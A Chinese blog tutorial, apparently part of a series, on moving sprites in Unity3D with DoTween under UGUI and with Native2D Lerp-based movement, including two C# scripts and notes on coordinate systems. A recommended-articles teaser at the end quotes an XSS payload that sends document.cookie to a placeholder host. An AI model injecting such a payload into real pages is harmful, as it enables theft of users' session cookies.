时光煮雨 Unity3D让物体动起来③—UGUI DoTween&Unity Native2D实现
本文首发蛮牛,次发博客园。接系列 第一篇,第二篇,本文为第三篇,再次感谢“武装三藏”在前两篇无私且精彩的问题解答
写在最前,时光煮雨,为了怀念
以下引用曾今读过的一些教程文章
其实这3种动画都有它特定的使用场合。
第一种动画适合创建简单的对象位移及直接性质的属性更改(在后面的教程中,我还将更深入的挖掘Storyboard动画的潜力,动态创建更复杂的基于KeyFrame的关键帧动画)。
第二种动画适合全局属性的时时更改,例如我们后面要讲到的敌人或NPC以及地图等全体性的相对位移及属性更改时就要用到它了。
第三种动画则非常适合运用在Spirit(角色)的个人动画中,例如角色的移动,战斗,施法等动作。
小结:前三节分别讲解了Storyboard动画,CompositionTarget动画,DispatcherTimer动画,并横向分析了不同的场合对应不同的动画应用模式,这些将是构成WPF/Silverlight游戏引擎的基础。
这里的三种动画形式分别可以类比到Unity3d中的,
第一种,基于DoTween的各种MoveTo(Vector3,duration),或者是第一篇的直接移动;
第二种,基于Update的逐帧更新;
第三种,基于FixUpdate的定时更新,比如这里提到的战斗可能是有物理碰撞,或者是一种类似自定义的计时器的Timer(下篇会分析下)。
这些东西比较底层了,需要了解FixUpdate和Update的区别,以及UI线程和非UI线程之间的关系(wpf中的DispatcherTimer的概念)
这块东西有点深,我也不敢妄言,是否正确有大师路过,可以解惑一下。列出两篇参考文章,供延伸阅读吧
Difference between Update method and FixedUpdate in Unity?
WPF中的Timer与DispatcherTimer的区别与应用
这三种动画形式,很多人都知道,但是如何使用和区别,却在博文中只字未提。
这里引用列出来只为怀念。
背景
前两篇都比较基础,运用一些基础知识,其实早都有一些大牛封装好了插件和工具,不必大家再重复制造轮子。但各种封装难免有功能重叠,且可能用法也会有不同,这可能是我们需要稍微留意的东西。这篇主要罗列下基于DoTween插件UGUI的直接移动和Unity Native2D实现鼠标点击逐帧移动的功能实现,关于这两个插件和功能不再详解,因为有的是教程,若想学习自己搜索吧。图片还是一样的

实现一
基于DoTween的UGUI平移,这里自己计算了下 duration可能不对欢迎指正,代码如下:
using UnityEngine;
using System.Collections;
using UnityEngine.UI;
using DG.Tweening;
public class PanelContollerDoTween : MonoBehaviour { // Use this for initialization
public Image sprite;
private float speed=2;
void Start ()
{ } // Update is called once per frame
void Update () {
if (Input.GetButton("Fire1"))
{
//这里写的该坐标是像素坐标,也就是屏幕坐标的意思(比世界坐标小)
Vector3 mouseWorldPostion = Input.mousePosition;//Camera.main.ScreenToWorldPoint();
float duration = Vector3.Distance(mouseWorldPostion , sprite.transform.position) / speed * Application.targetFrameRate;
sprite.transform.DOMove(mouseWorldPostion, duration).SetEase(Ease.Linear); }
}
}
实现二
这块稍微说一下,看过很多教程一般都是单讲UGUI或者单讲Natvie2D,很少有一起使用的,这里自己实验了下,直接建立一个Scene和UGUI一起使用即可,比较简单,深色的框是我给Panel设置的颜色便于区别,这里发现二者可以很好的共存的,效果图如下:

代码如下:
using UnityEngine;
using System.Collections; public class PlayerController : MonoBehaviour
{
private Vector3 currentPositon;
private Vector3 moveDirection;
private float speed = 2;
private Vector3 targetPositon;
Vector3 mouseWorldPositon = Vector3.zero;
// Use this for initialization
void Start()
{
moveDirection = Vector3.right; } // Update is called once per frame
void Update()
{
currentPositon = transform.position;
//是鼠标左键点击
if (Input.GetButton("Fire1"))
{
mouseWorldPositon = Camera.main.ScreenToWorldPoint(Input.mousePosition); moveDirection = mouseWorldPositon - currentPositon;
moveDirection.z = 0;
moveDirection.Normalize();
} //Debug.Log(string.Format("x1:{0},y1:{1},z1:{2},x2:{3},y2:{4},z2:{5},d:{6}", mouseWorldPositon.x, mouseWorldPositon.y,mouseWorldPositon.z, currentPositon.x, currentPositon.y,currentPositon.z, Vector3.Distance(mouseWorldPositon, currentPositon)));
if (Vector3.Distance(new Vector3( mouseWorldPositon.x,mouseWorldPositon.y,0), currentPositon) > 1)
{
targetPositon = moveDirection * speed + currentPositon;
transform.position = Vector3.Lerp(currentPositon, targetPositon, Time.deltaTime);
}
else
{
transform.position = targetPositon;
}
} }
这里留下了一个小问题就是关于移动了某一点的判断问题,这里我简单的使用了两点的距离小与某个绝对值来做的,但在Natvie2D下发现移动有跳跃,主要是坐标系的单位问题,如果有高手路过可以帮忙提供更好的方法。
问题总结
根据三篇的学习,这篇是收获比较大的,特别是通过这篇的学习,找到了上篇中遇到的问题,主要是
1、鼠标点击的坐标问题?
2、是关于Vecotr3.Lerp插值的问题
如果细心的朋友可能会发现2个函数我在UGUI中都是注释掉的
Camera.main.ScreenToWorldPoint(Input.mousePosition)
Vector3.Lerp(currentPositon, targetPositon, Time.deltaTime);
主要的问题其实是在坐标系的值上,UGUI专门做了一次优化,使用的2D世界的屏幕坐标单位是像素,值都很大,而Native2D使用的是3D世界的坐标系统单位是浮点百分值,所以在转换和使用上有差异的。
这篇也留下了一个问题,就是UGUI和Native2D的鼠标事件的遮挡问题,现在看到的现象是鼠标事件是可以穿越的,这个问题等到以后再解决吧。
时光煮雨 Unity3D让物体动起来③—UGUI DoTween&Unity Native2D实现的更多相关文章
- 时光煮雨 Unity3D实现2D人物动画① UGUI&Native2D序列帧动画
系列目录 [Unity3D基础]让物体动起来①--基于UGUI的鼠标点击移动 [Unity3D基础]让物体动起来②--UGUI鼠标点击逐帧移动 时光煮雨 Unity3D让物体动起来③—UGUI DoT ...
- 时光煮雨 Unity3d 序列目标点的移动①
系列目录 [Unity3D基础]让物体动起来①--基于UGUI的鼠标点击移动 [Unity3D基础]让物体动起来②--UGUI鼠标点击逐帧移动 时光煮雨 Unity3D让物体动起来③—UGUI DoT ...
- 时光煮雨 Unity3D实现2D人物移动-总结篇
系列目录 [Unity3D基础]让物体动起来①--基于UGUI的鼠标点击移动 [Unity3D基础]让物体动起来②--UGUI鼠标点击逐帧移动 时光煮雨 Unity3D让物体动起来③—UGUI DoT ...
- 时光煮雨 Unity3D实现2D人物动画② Unity2D 动画系统&资源效率
系列目录 [Unity3D基础]让物体动起来①--基于UGUI的鼠标点击移动 [Unity3D基础]让物体动起来②--UGUI鼠标点击逐帧移动 时光煮雨 Unity3D让物体动起来③—UGUI DoT ...
- 【Unity3D基础】让物体动起来①--UGUI鼠标点击移动
背景 首先还是先声明自己是比较笨的一个人,总是找不到高效的学习方法,目前自己学习Unity3D的方式主要是两种,一种是直接看高质量的源码,另一种是光看不行还要自己动手,自己写一些有代表性的小程序,这也 ...
- 【Unity3D基础】让物体动起来②--UGUI鼠标点击逐帧移动
背景 上一篇通过鼠标移动的代码很简单,所以看的人也不多,但是还是要感谢“武装三藏”在博客园给出的评论和支持,希望他也能看到第二篇,其实可以很简单,而且是精灵自控制,关键是代码少是我喜欢的方式,也再次印 ...
- webgl学习总结画线面及场景和物体动
WebGL是在浏览器中实现三维效果的一套规范.是浏览器中的3D引擎,是利用js代码来实现加载3D模型,渲染.输出等功能,从而实现在浏览器和微信中浏览三维文件的效果. three.js是基于WebGL的 ...
- unity3D 游戏物体同时绑定单击、双击事件
前言 在unity中我们常用的获取鼠标点击的方法有 在3D场景中,一般用在Update方法中,每一帧调用 void Update(){ )){ Debug.log("鼠标左键点击" ...
- Unity3D 角色(物体) 移动方法 合集
1. 简介 在Unity3D中,有多种方式可以改变物体的坐标,实现移动的目的,其本质是每帧修改物体的position. 2. 通过Transform组件移动物体 Transform 组件用于描述物体在 ...
随机推荐
- PHP程序员 新人求职 平台
投简历网站:大街网:中下,但是反馈速度不错拉勾网:中上,工资好像很多都很不错实习僧:不太熟悉,中等吧猎聘网:好像不错,本人不常用海投网:不清楚,没用过以上评级都是个人感觉而已,不代表正式评价个人感觉以 ...
- BZOJ 1179 Atm 题解
BZOJ 1179 Atm 题解 SPFA Algorithm Tarjan Algorithm Description Input 第一行包含两个整数N.M.N表示路口的个数,M表示道路条数.接下来 ...
- 【HDU】1846 Brave Game
http://acm.hdu.edu.cn/showproblem.php?pid=1846 题意:二人博弈,1堆石子每次取1~m个,没有石子可取的输,输出先手胜利还是后手胜利. #include & ...
- Codeforces Beta Round #8
A题,小小的模拟题,没看懂题意啊. #include <iostream> #include <cstdio> #include <cmath> #include ...
- Nodejs中cluster模块的多进程共享数据问题
Nodejs中cluster模块的多进程共享数据问题 前述 nodejs在v0.6.x之后增加了一个模块cluster用于实现多进程,利用child_process模块来创建和管理进程,增加程序在多核 ...
- Color Processing 色彩处理
How to read and write pixel data Bitmap processing Image Stride Bayer Color Filter Pattern High-Qual ...
- django前端到后端一次简单完整的请求实例
请求过程: 用户请求---〉django的路由系统---〉根据url不同分发到不同的views函数做对应处理----〉返回html格式的字符串(需要动态请求的到数据库里面拿到数据迁入到html文件中) ...
- Server Tomcat v7.0 Server at localhost was unable to start within 45 seconds 解决方法
Server Tomcat v6.0 Server at localhost was unable to start within 45 seconds. If the server requires ...
- HTML静态网页 标签、表格
HTML静态网页: 打开DREAMWEAVER,新建HTML,如下图: body的属性: bgcolor 页面背景色 background 背景壁纸.图片 text 文字颜色 topmargin ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...